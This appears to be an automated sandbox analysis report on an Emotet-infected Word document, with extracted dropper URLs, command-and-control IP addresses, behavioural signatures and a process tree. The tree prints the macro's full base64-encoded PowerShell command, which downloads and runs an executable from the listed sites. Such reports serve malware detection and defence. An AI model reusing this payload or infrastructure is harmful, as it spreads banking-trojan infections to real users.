Overview

overview

10

Static

static

8

emotet_e1_...oc.doc

windows7_x64

10

emotet_e1_...oc.doc

windows10_x64

10

Analysis

  • max time kernel
    145s
  • max time network
    154s
  • platform
    windows7_x64
  • resource
    win7
  • submitted
    21/08/2020, 01:54

Sharing

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General

  • Target
    emotet_e1_abfc420601b0287aec162de246589aecfff4819b9e63229e06225ee8dc13f5f3_2020-08-21__015259._doc.doc
  • Size 185KB
  • Sample200821-6djvjer6ca
  • SHA256 abfc420601b0287aec162de246589aecfff4819b9e63229e06225ee8dc13f5f3
  • MD5 SHA1 SHA512
Score
10/10
trojanbankeremotet

Malware Config

Extracted

Language

  • ps1

Source
URLs
  • exe.dropper

    http://www.ossoriobouliz.com/wp-admin/m1J/
  • exe.dropper

    https://cowbeeonline.com/wp-includes/8jl/
  • exe.dropper

    http://thecandidaplan.com/wp-content/FRd/
  • exe.dropper

    http://www.openbookingapp.com/aquqz/v1/
  • exe.dropper

    http://f1.dodve.com/wp-admin/1/
  • exe.dropper

    http://r-ac.de/laser/lFL/
  • exe.dropper

    http://primetechpeliculas.com.br/wp-includes/l/

Extracted

Family

  • emotet

C2

  • 65.36.62.20:80

  • 209.126.6.222:8080

  • 5.153.250.14:8080

  • 204.225.249.100:7080

  • 77.90.136.129:8080

  • 185.94.252.27:443

  • 85.105.140.135:443

  • 83.169.21.32:7080

  • 190.190.148.27:8080

  • 185.94.252.12:80

  • 116.125.120.88:443

  • 190.115.18.139:8080

  • 61.92.159.208:8080

  • 24.148.98.177:80

  • 212.93.117.170:80

  • 91.219.169.180:80

  • 73.116.193.136:80

  • 87.106.46.107:8080

  • 187.162.248.237:80

  • 70.32.115.157:8080

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

    trojanbankeremotet
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Emotet Payload 4 IoCs

    Detects Emotet payload in memory.

  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 2 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 280 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_abfc420601b0287aec162de246589aecfff4819b9e63229e06225ee8dc13f5f3_2020-08-21__015259._doc.doc"
    1⤵
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:1164
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABFAHUAcQB3ADEANgAzAD0AKAAnAE0AJwArACcANAA5AHgAYQAnACsAJwAwAG8AJwApADsAJgAoACcAbgBlAHcALQBpAHQAJwArACcAZQBtACcAKQAgACQARQBOAHYAOgBUAEUATQBQAFwATwBGAGYAaQBjAGUAMgAwADEAOQAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABJAFIARQBDAFQATwByAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMAYABFAEMAdQBSAEkAYABUAFkAcAByAGAAbwBUAGAAbwBjAE8AbAAiACAAPQAgACgAJwB0ACcAKwAnAGwAcwAxADIALAAgAHQAbABzACcAKwAnADEAMQAsACAAdABsACcAKwAnAHMAJwApADsAJABMAF8AdwBxADkAaAB3ACAAPQAgACgAJwBKAGUANAAnACsAJwAyAGkAYgBpAGYAJwApADsAJABYAGQAcABpAGgAbwB0AD0AKAAnAFIAeQAnACsAJwB4AGgAaAB1ADcAJwApADsAJABTADYAMAA0ADMAbwBzAD0AJABlAG4AdgA6AHQAZQBtAHAAKwAoACgAJwAzAHkAbQAnACsAJwBPACcAKwAnAGYAZgAnACsAJwBpAGMAZQAyADAAMQA5ADMAeQBtACcAKQAuACIAUgBFAGAAcABMAEEAQwBFACIAKAAoAFsAQwBoAGEAUgBdADUAMQArAFsAQwBoAGEAUgBdADEAMgAxACsAWwBDAGgAYQBSAF0AMQAwADkAKQAsAFsAcwB0AFIASQBuAGcAXQBbAEMAaABhAFIAXQA5ADIAKQApACsAJABMAF8AdwBxADkAaAB3ACsAKAAnAC4AZQAnACsAJwB4AGUAJwApADsAJABUAGwAMAByADcAOAByAD0AKAAnAFgAJwArACcAZAA1AG8ANwAnACsAJwB0AGUAJwApADsAJABKAGcAbwB0AHYAZwA2AD0AJgAoACcAbgBlAHcAJwArACcALQBvAGIAagBlACcAKwAnAGMAdAAnACkAIABuAGUAdAAuAHcAZQBCAEMATABJAEUAbgBUADsAJABPADYANQB0AG8ANQB4AD0AKAAnAGgAdAB0ACcAKwAnAHAAJwArACcAOgAnACsAJwAvAC8AdwB3AHcAJwArACcALgBvAHMAcwBvACcAKwAnAHIAaQBvAGIAbwAnACsAJwB1AGwAaQB6AC4AYwBvAG0ALwB3AHAALQBhACcAKwAnAGQAbQBpAG4ALwBtACcAKwAnADEASgAvACoAaAB0ACcAKwAnAHQAcAAnACsAJwBzADoALwAvAGMAbwAnACsAJwB3ACcAKwAnAGIAZQBlACcAKwAnAG8AbgBsAGkAbgBlAC4AYwBvAG0AJwArACcALwB3AHAALQBpACcAKwAnAG4AYwAnACsAJwBsAHUAJwArACcAZABlAHMALwA4AGoAbAAvACoAaAB0AHQAcAA6AC8ALwB0AGgAZQBjACcAKwAnAGEAbgAnACsAJwBkAGkAZAAnACsAJwBhAHAAbABhAG4ALgAnACsAJwBjAG8AbQAvAHcAcAAtAGMAbwAnACsAJwBuAHQAJwArACcAZQBuAHQAJwArACcALwBGAFIAZAAvACoAaAB0AHQAcAA6AC8ALwB3AHcAdwAuACcAKwAnAG8AcABlAG4AYgBvAG8AawBpAG4AJwArACcAZwBhAHAAJwArACcAcAAuAGMAbwBtAC8AYQBxACcAKwAnAHUAcQAnACsAJwB6AC8AdgAxAC8AKgBoAHQAdABwADoALwAvAGYAMQAnACsAJwAuAGQAbwBkAHYAZQAuAGMAbwBtAC8AdwBwAC0AJwArACcAYQBkAG0AaQBuAC8AJwArACcAMQAvACcAKwAnACoAJwArACcAaAB0AHQAcAA6AC8AJwArACcALwByAC0AJwArACcAYQAnACsAJwBjAC4AZABlAC8AbABhACcAKwAnAHMAZQByAC8AbABGAEwALwAqAGgAdAB0AHAAJwArACcAOgAvAC8AcAByAGkAbQAnACsAJwBlAHQAJwArACcAZQAnACsAJwBjAGgAcABlAGwAJwArACcAaQBjAHUAbABhAHMALgBjAG8AbQAnACsAJwAuAGIAcgAnACsAJwAvACcAKwAnAHcAJwArACcAcAAtAGkAbgBjAGwAdQBkAGUAcwAvACcAKwAnAGwAJwArACcALwAnACkALgAiAHMAcABMAGAAaQB0ACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQASABrADUAMgBtADAAawA9ACgAJwBLACcAKwAnAGgAbQBsADMAdABmACcAKQA7AGYAbwByAGUAYQBjAGgAKAAkAFQAYgBwADUAZwB5ADUAIABpAG4AIAAkAE8ANgA1AHQAbwA1AHgAKQB7AHQAcgB5AHsAJABKAGcAbwB0AHYAZwA2AC4AIgBkAG8AVwBgAE4ATABgAE8AYQBEAEYAaQBMAEUAIgAoACQAVABiAHAANQBnAHkANQAsACAAJABTADYAMAA0ADMAbwBzACkAOwAkAFkAeQBxADIAagB6AHIAPQAoACcAUAA2AG0AZQAnACsAJwB2AGYAdAAnACkAOwBJAGYAIAAoACgALgAoACcARwBlAHQALQAnACsAJwBJAHQAJwArACcAZQBtACcAKQAgACQAUwA2ADAANAAzAG8AcwApAC4AIgBsAEUATgBnAGAAVABIACIAIAAtAGcAZQAgADIAMwAwADIAOAApACAAewAmACgAJwBJAG4AJwArACcAdgBvAGsAZQAnACsAJwAtACcAKwAnAEkAdABlAG0AJwApACgAJABTADYAMAA0ADMAbwBzACkAOwAkAEgAOQA5ADIAZQAxADQAPQAoACcATwAnACsAJwBjAHkAdQBnADUAbgAnACkAOwBiAHIAZQBhAGsAOwAkAEcAcgBoAGMAbwBkAHYAPQAoACcAVQAnACsAJwBmAHMAJwArACcAeABnADUAagAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEYAMwByAHcAaAA1ADQAPQAoACcAUQAnACsAJwAxAHoAJwArACcAeAA0AHIAcQAnACkA
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:764
    • C:\Users\Admin\AppData\Local\Temp\Office2019\Je42ibif.exe
      "C:\Users\Admin\AppData\Local\Temp\Office2019\Je42ibif.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:1860
      • C:\Windows\SysWOW64\ndishc\esent.exe
        "C:\Windows\SysWOW64\ndishc\esent.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of SetWindowsHookEx
        PID:1648

Network

        MITRE ATT&CK Matrix

        Replay Monitor

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        Downloads

        memory/764-10-0x0000000001F10000-0x0000000001F11000-memory.dmp
        Download

        memory/764-9-0x000007FEE9E70000-0x000007FEEA85C000-memory.dmp
        Download

        memory/764-11-0x000000001AC70000-0x000000001AC71000-memory.dmp
        Download

        memory/764-12-0x0000000002340000-0x0000000002341000-memory.dmp
        Download

        memory/764-13-0x0000000002480000-0x0000000002481000-memory.dmp
        Download

        memory/764-15-0x000000001AB30000-0x000000001AB31000-memory.dmp
        Download

        memory/764-16-0x000000001C430000-0x000000001C431000-memory.dmp
        Download

        memory/1164-2-0x0000000008900000-0x0000000008904000-memory.dmp
        Download

        memory/1164-14-0x0000000002180000-0x0000000002181000-memory.dmp
        Download

        memory/1164-7-0x000000000BDD0000-0x000000000BDD4000-memory.dmp
        Download

        memory/1164-4-0x0000000006D00000-0x0000000006F00000-memory.dmp
        Download

        memory/1164-6-0x000000000AD50000-0x000000000AD54000-memory.dmp
        Download

        memory/1588-24-0x000007FEEF2F0000-0x000007FEEF56A000-memory.dmp
        Download

        memory/1648-23-0x00000000003C0000-0x00000000003CC000-memory.dmp
        Download

        memory/1860-19-0x00000000002C0000-0x00000000002CC000-memory.dmp
        Download